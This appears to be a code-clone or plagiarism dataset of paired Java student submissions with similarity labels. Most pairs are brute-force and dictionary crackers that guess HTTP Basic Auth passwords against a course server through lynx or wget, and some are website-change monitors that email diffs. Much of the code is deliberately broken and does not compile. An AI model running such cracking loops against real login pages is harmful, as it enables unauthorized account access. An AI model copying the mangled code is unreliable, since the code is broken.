while(( s = bf.readLine()) != null)
{
System.out.println();
}
p.waitFor();
}
public static String md5sum(String file) throws Exception
{
String s;
String hash= " ";
Process p = Runtime.getRuntime().exec(new String[]{"/usr/local//bash",
"-c", "md5sum "+file });
BufferedReader b = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((b = bf.readLine()) != null)
{
StringTokenizer word=new StringTokenizer();
hash=word.nextToken();
System.out.println(hash);
}
return hash;
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
212.java | 197.java | 0 |
import java.net.*;
import java.io.*;
public class sendMail {
public void sendMail(String mailServer, String recipient, String result) {
try {
Socket s = new Socket(mailServer, 25);
BufferedReader in = new BufferedReader
(new InputStreamReader(s.getInputStream(), "8859_1"));
BufferedWriter out = new BufferedWriter
(new OutputStreamWriter(s.getOutputStream(), "8859_1"));
send(in, out, "HELO client");
send(in, out, "MAIL FROM: <WatchDog@SecureECommerce.>");
send(in, out, "RCPT : " + recipient);
send(in, out, "DATA");
send(out, "Subject: ");
send(out, "From: Admin <WatchDog@SecureECommerce.>");
send (out, "\n");
send(out, result);
send(out, "\n.\n");
send(in, out, "QUIT");
}
catch (Exception e) {
e.printStackTrace();
}
}
public void send(BufferedReader in, BufferedWriter out, String s) {
try {
out.write(s + "\n");
out.flush();
System.out.println(s);
s = in.readLine();
System.out.println(s);
}
catch (Exception e) {
e.printStackTrace();
}
}
public void send(BufferedWriter out, String s) {
try {
out.write(s + "\n");
out.flush();
System.out.println(s);
}
catch (Exception e) {
e.printStackTrace();
}
}
} |
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
214.java | 197.java | 0 |
import java.io.*;
import java.net.*;
import java.util.*;
import java.*;
public class WatchDog
{
public static void main (String args[])
{
StringWriter sw = new StringWriter();
PrintWriter pw = new PrintWriter();
int flag=1;
int loop=0;
String ServerType = new String();
String LastModified = null;
String urlString = new String("http://www.cs.rmit.edu./students/");
storeNewFile snf = new storeNewFile("History.txt");
storeNewFile snf1 = new storeNewFile("Comparison.txt");
String result = null;
getImage myGI = new getImage();
Process myProcess;
String line = null;
stime = System.currentTimeMillis();
while(loop<5)
{
try {
URL url = new URL (urlString);
URLConnection uc = url.openConnection();
InputStream content = (InputStream)uc.getContent();
BufferedReader in =
new BufferedReader (new InputStreamReader (content));
String line2;
while ((line2 = in.readLine()) != null) {
pw.println (line2);
}
snf1.getStringW();
if(LastModified !=null)
{
differenceFile df = new differenceFile();
result = df.compareFile();
}
if(LastModified==null)
{
System.out.println("first check");
LastModified=uc.getHeaderField(1);
ServerType=uc.getHeaderField(2);
snf.getStringW();
myGI.tokenFile("History.txt");
myProcess = Runtime.getRuntime().exec("./compGIF.sh");
}
else if(result==null)
{
myGI.tokenFile("Comparison.txt");
myProcess = Runtime.getRuntime().exec("./compGIF.sh");
BufferedReader inputStream= new BufferedReader(new FileReader("pictResult.txt"));
line=inputStream.readLine();
if(line == null)
{
System.out.println(" changes far..");
}
else
{
while(line!=null)
{
sendMail t = new sendMail();
t.sendMail("yallara.cs.rmit.edu.", "@cs.rmit.edu.",line);
line=inputStream.readLine();
}
}
inputStream.close();
}
else
{
snf.translogFile(result);
sendMail t = new sendMail();
t.sendMail("yallara.cs.rmit.edu.", "@cs.rmit.edu.",result);
System.out.println(" email is sent.. sent..sent..");
snf.getStringW();
}
snf.closeStream();
snf1.closeStream();
try{
synchronized(url){
url.wait(15000);
}
}
catch(InterruptedException e) {
System.out.println("Error in wait() method");
}
catch(Exception e){
e.printStackTrace();
}
loop++;
endtime=System.currentTimeMillis();
System.out.println("process time is : " +(endtime-stime)/1000 +" seconds.");
}catch (MalformedURLException e) {
pw.println ("Invalid URL");
}catch (IOException e) {
pw.println ("Error URL");
}
}
System.out.println("ETag is "+ ServerType);
System.out.println("LastModified is "+ LastModified);
}
} |
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
108.java | 197.java | 0 |
import java.io.InputStream;
import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;
public class DictionaryPropertyHelper {
private static Properties dictProps;
public DictionaryPropertyHelper() {
}
public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println("Error init'ing the dictionary Props");
e.printStackTrace();
}
return dictProps.getProperty(pKey);
}
private static void initProps() throws Exception{
if(dictProps == null){
dictProps = new Properties();
InputStream fis =
DictionaryPropertyHelper.class.getResourceAsStream("/dictionary.properties");
dictProps.load(fis);
}
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
172.java | 197.java | 0 |
import java.*;
import java.io.*;
public class BruteForce
{
public static void main(String[] args)
{
int i,j,k,counter=0;
String pass,temp1;
char oneTemp[] = {'a'};
char twoTemp[] = {'a','a'};
char threeTemp[] = {'a','a','a'};
String function= new String();
Runtime rtime = Runtime.getRuntime();
Process prs= null;
for(i=65;i<123;i++)
{
if( i > 90 && i < 97)
i = 97;
oneTemp[0] = (char)i ;
pass = new String(oneTemp);
System.out.println(pass + " " + "Attack Number=====>" + counter++ );
function ="wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php";
try
{
prs = rtime.exec(function);
InputStreamReader stre = new InputStreamReader(prs.getErrorStream());
BufferedReader bread = new BufferedReader(stre);
while((temp1 = bread.readLine()) != null)
{
if(temp1.equals("HTTP request sent, awaiting response... 200 OK"))
{
System.out.println("The password has is:"+pass);
System.exit(0);
}
}
}catch(java.io.IOException e){}
}
for(i=65;i<123;i++)
{
if( i > 90 && i < 97)
i = 97;
for(j =65;j<123;j++)
{
if( j > 90 && j < 97)
j = 97;
twoTemp[0] = (char)i ;
twoTemp[1] = (char)j ;
pass = new String(twoTemp);
System.out.println(pass + " " + "Attack Number=====>" + counter++ );
function ="wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php";
try
{
prs = rtime.exec(function);
InputStreamReader stre = new InputStreamReader(prs.getErrorStream());
BufferedReader bread = new BufferedReader(stre);
while((temp1 = bread.readLine()) != null)
{
if(temp1.equals("HTTP request sent, awaiting response... 200 OK"))
{
System.out.println("The password has is:"+pass);
System.exit(0);
}
}
}catch(java.io.IOException e){}
}
}
for(i=65;i<123;i++)
{
if( i > 90 && i < 97)
i = 97;
for(j =65;j<123;j++)
{
if( j > 90 && j < 97)
j = 97;
for(k = 65;k<123;k++)
{
if( k > 90 && k < 97)
{ k = 97;}
threeTemp[0] = (char)i ;
threeTemp[1] = (char)j ;
threeTemp[2] = (char)k ;
pass = new String(threeTemp);
System.out.println(pass + " " + "Attack Number=====>" + counter++ );
function ="wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php";
try
{
prs = rtime.exec(function);
InputStreamReader stre = new InputStreamReader(prs.getErrorStream());
BufferedReader bread = new BufferedReader(stre);
while((temp1 = bread.readLine()) != null)
{
if(temp1.equals("HTTP request sent, awaiting response... 200 OK"))
{
System.out.println("The password has is:"+pass);
System.exit(0);
}
}
}catch(java.io.IOException e){}
}
}
}
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
248.java | 197.java | 0 | import java.io.*;
import java.net.*;
public class Dictionary
{
private String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
private static String password;
private static int length;
private static int t_counter;
private static int f_counter;
private static int respCode;
private static BufferedReader buf;
public Dictionary()
{
FileReader fRead;
Authenticator.setDefault(new DictionaryAuthenticator());
t_counter = 0;
f_counter = 0;
length = 0;
try
{
fRead = new FileReader("/usr/share/lib/dict/words");
buf = new BufferedReader(fRead);
}
catch (FileNotFoundException e)
{
System.out.println("File not found");
}
}
public static void main(String[] args)
{
Dictionary dict = new Dictionary();
String file = " ";
while(respCode != 200 )
{
file = dict.fetchURL();
}
System.out.println("Number of attempts: " + t_counter);
System.out.println("Password: " + password);
System.out.println(file);
}
private String fetchURL()
{
StringWriter sw = new StringWriter();
PrintWriter pw = new PrintWriter();
try
{
URL url = new URL(urlString);
HttpURLConnection huc = (HttpURLConnection)url.openConnection();
respCode = huc.getResponseCode();
InputStream content = huc.getInputStream();
BufferedReader in =
new BufferedReader (new InputStreamReader (content));
String line;
while ((line = in.readLine()) != null)
{
pw.println(line);
}
} catch (IOException e) {
pw.println("Error URL");
}
return sw.toString();
}
class DictionaryAuthenticator extends Authenticator
{
private String username = "";
protected PasswordAuthentication getPasswordAuthentication()
{
return new PasswordAuthentication(username,generatePassword());
}
protected char[] generatePassword()
{
String word = null;
int chars;
char c[] = null;
chars = 0;
if(f_counter == 0)
{
try
{
{
word = buf.readLine();
if(word != null)
{
length = word.length();
chars = 0;
for(int i=0; i<length; i++)
{
if(Character.isLetter(word.charAt(i))) chars++;
}
}
}
while( word != null && (length > 3 || chars != length));
}
catch (IOException ioe)
{
System.out.println("IO Error: " + ioe);
}
if(word != null)
{
c = word.toCharArray();
password = new String(c);
}
else
{
System.out.println(" more words in dictionary");
System.exit(0);
}
f_counter++;
}
else
{
c = password.toCharArray();
for(int i=0; i< length; i++)
{
if(Character.isLowerCase(c[i]))
{
c[i] = Character.toUpperCase(c[i]);
}
else
{
c[i] = Character.toLowerCase(c[i]);
}
}
password = new String(c);
f_counter = 0;
}
t_counter++;
return c;
}
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
227.java | 197.java | 0 | import java.io.*;
import java.net.*;
import java.net.HttpURLConnection;
import javax.net.*;
import java.security.cert.*;
public class Dictionary
{
public static void main(String[] args)
{
BufferedReader in = null;
boolean found = true;
String word = null;
String cmd = null;
Runtime run = Runtime.getRuntime();
Process pro = null;
BufferedReader inLine = null;
String str = null;
URLConnection connection = null;
try
{
FileReader reader = new FileReader("words");
in = new BufferedReader(reader);
System.out.println(" cracking....");
{
found = true;
word = new String(in.readLine());
cmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";
pro = run.exec(cmd);
inLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));
if((str=inLine.readLine())!=null)
{
while ((str=inLine.readLine())!=null)
{
if (str.endsWith("Required"))
{
found = false;
}
}
}
run.gc();
}
while (!found);
}
catch (FileNotFoundException exc)
{
System.out.println(exc);
}
catch (IOException exc)
{
System.out.println(exc);
}
catch (NullPointerException ex)
{
System.out.println(word);
}
finally
{
try
{
if (in!= null)
{
in.print();
}
}
catch (IOException e) {}
}
if (found == true)
System.out.println("The password is :" + word);
else
System.out.println("NOT FOUND!");
}
} |
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
204.java | 197.java | 0 |
import java.io.*;
import java.net.*;
public class Copier
{
private URL target;
public Copier( String fileName)
{
try
{
String line;
BufferedReader ;
BufferedWriter bout;
target = new URL( "http://www.cs.rmit.edu./students");
InputStream hm = target.openStream();
HttpURLConnection urlcon = ( HttpURLConnection) target.openConnection();
bf = new BufferedReader( new InputStreamReader( target.openStream()));
bout = new BufferedWriter(new FileWriter(fileName));
while((line = bf.readLine()) != null)
{
bout.write( line+"\n");
}
bout.print();
}
catch( Exception e)
{
System.out.println("Something wrong! "+e);
System.exit(0);
}
}
public static void main (String[] args)
{
Copier c = new Copier("response.html");
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
141.java | 197.java | 0 |
import java.net.*;
import java.io.*;
import java.util.*;
public class WatchDog
{
public WatchDog()
{
}
public static void main(String[] args)
{
try
{
if( args.length != 2 )
{
System.out.println("USAGE: java WatchDog <URL> <mailing UserName>");
System.exit(0);
}
Runtime.getRuntime().exec("rm LastWatch.html");
Runtime.getRuntime().exec("rm WatchDog.ini");
Thread.sleep(1000);
while (true)
{
WatchDog myWatchDog = new WatchDog();
myWatchDog.readHTML(args[0], args[1]);
Runtime.getRuntime().exec("rm Report.txt");
Runtime.getRuntime().exec("rm diffReport.txt");
Runtime.getRuntime().exec("rm NewWatch.txt");
System.out.println(" check after 2 ... press Ctrl-Z suspend WatchDog...");
Thread.sleep(2*60*1000);
}
}
catch (Exception e)
{
e.printStackTrace();
}
}
void readHTML (String strHTML, String userName)
{
Properties myProp = loadLastMD5 ();
try
{
System.out.println("Running WatchDog \"" + strHTML + "\" ...... Please Wait....");
URL url = new URL (strHTML);
String strHost = url.getHost().toLowerCase();
Runtime r = Runtime.getRuntime();
InputStream in = url.openStream();
DataInputStream bf = new DataInputStream (in);
FileOutputStream fOut = new FileOutputStream ("Watch.html");
DataOutputStream dOut = new DataOutputStream (fOut);
Vector vtrImages = new Vector ();
while ( bf!= null)
{
String str = bf.readLine();
if (str == null)
break;
if ( str.toLowerCase().indexOf("img") > 0 )
{
int indexImg = str.toLowerCase().indexOf("img");
int indexImgUrl = str.toLowerCase().indexOf("\"", indexImg);
int indexImgUrlEnd = str.toLowerCase().indexOf("\"", indexImgUrl+1);
String strImage = str.toLowerCase().substring(indexImgUrl+1, indexImgUrlEnd);
if (strImage.toLowerCase().indexOf(strHost) > 0)
{
int index = strImage.toLowerCase().indexOf(strHost) + strHost.length();
strImage = strImage.toLowerCase().substring(index);
}
if (!vtrImages.contains(strImage.toLowerCase()))
vtrImages.add (strImage.toLowerCase());
}
dOut.writeBytes(str+"\n");
}
dOut.print();
fOut.print();
for (int i=0 ; i < vtrImages.size() ; i ++)
{
r.exec("wget " + strHost + vtrImages.get(i).toString().trim());
}
Thread.sleep(2000);
String [] command = {"//sh", "-c","md5sum *.* > NewWatch.txt"};
Runtime.getRuntime().exec(command);
Thread.sleep(1000);
FileInputStream fIn = new FileInputStream ("NewWatch.txt");
DataInputStream = new DataInputStream (fIn);
Properties prop = new Properties ();
while ( bf != null)
{
String str = bf.readLine();
if (str == null)
break;
int index = str.indexOf(" ");
if (fileDownloaded (str.substring(index + 1), vtrImages) || str.substring(index + 1).trim().equalsIgnoreCase("Watch.html") )
prop.setProperty(str.substring(index + 1).trim().toLowerCase(), str.substring(0, index).trim().toLowerCase());
}
fIn.close();
int isAnyChange = GenerateChangeFile (strHTML, myProp, prop);
if (isAnyChange > 0)
{
if (isAnyChange == 2)
{
File f = new File ("LastWatch.html");
if (! f.exists())
{
f.createNewFile();
Thread.sleep(1000);
}
String [] diffCommand = {"//sh", "-c","diff Watch.html LastWatch.html > diffReport.txt"};
Runtime.getRuntime().exec(diffCommand);
Thread.sleep(2000);
FileInputStream feIn = new FileInputStream ("diffReport.txt");
DataInputStream deIn = new DataInputStream (feIn);
FileOutputStream feOut = new FileOutputStream ("Report.txt", true);
DataOutputStream deOut = new DataOutputStream (feOut);
deOut.writeBytes("\n\n\nDifferences in Target :\n\n");
while (deIn != null)
{
String str = deIn.readLine();
if (str == null)
break;
deOut.writeBytes(str + "\n");
}
deOut.print();
feOut.print();
deIn.close();
feIn.close();
}
String [] mailCommand = {"//sh", "-c","less Report.txt | mail " + userName};
Runtime.getRuntime().exec(mailCommand);
System.out.println("Mailing difference");
}
else
System.out.println(" difference detected");
Runtime.getRuntime().exec("mv Watch.html LastWatch.html");
}
catch (Exception e)
{
e.printStackTrace();
}
}
private Properties loadLastMD5 ()
{
Properties myProp = new Properties ();
try
{
myProp.load(new FileInputStream ("WatchDog.ini"));
}
catch (Exception e)
{
}
return myProp;
}
private boolean fileDownloaded (String strFile, Vector vtrImages)
{
for ( int i = 0 ; i < vtrImages.size() ; i ++ )
{
String strImage = vtrImages.get(i).toString().trim();
if ( strImage.toLowerCase().indexOf(strFile.toLowerCase().trim()) > -1 )
return true;
}
return false;
}
private int GenerateChangeFile (String strUrl, Properties myProp, Properties prop)
{
int change = 0;
boolean boolMainChange = false;
try
{
FileOutputStream myOut = new FileOutputStream ("WatchDog.ini");
DataOutputStream myIniOut = new DataOutputStream (myOut);
FileOutputStream fOut = new FileOutputStream ("Report.txt");
DataOutputStream dOut = new DataOutputStream (fOut);
dOut.writeBytes("Report of changes for \"" + strUrl + "\":\n\n\n\n\n");
Enumeration e = prop.keys();
while (e.hasMoreElements())
{
String file = e.nextElement().toString().toLowerCase().trim();
Runtime.getRuntime().exec("rm " + file);
myIniOut.writeBytes(file.toLowerCase() + "=" + prop.getProperty(file) + "\n");
if (myProp.containsKey(file))
{
String OldValue = myProp.getProperty(file);
String newValue = prop.getProperty(file);
if (OldValue != null && newValue != null)
{
if (!OldValue.trim().equals(newValue.trim()))
{
if (file.toLowerCase().trim().equalsIgnoreCase("Watch.html"))
{
dOut.writeBytes("Traget html has been changed\n");
boolMainChange = true;
}
else
dOut.writeBytes("File \"" + file + "\" has been changed\n");
change = 1;
}
}
}
else
{
if (file.toLowerCase().trim().equalsIgnoreCase("Watch.html"))
{
dOut.writeBytes("Target html is checked for first time\n");
boolMainChange = true;
}
else
dOut.writeBytes("File \"" + file + "\" is checked for first time and is new\n");
change = 1;
}
}
dOut.print();
fOut.print();
myIniOut.close();
myOut.close();
}
catch (Exception ex)
{
ex.printStackTrace ();
}
if (boolMainChange)
return 2;
return change;
}
} |
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
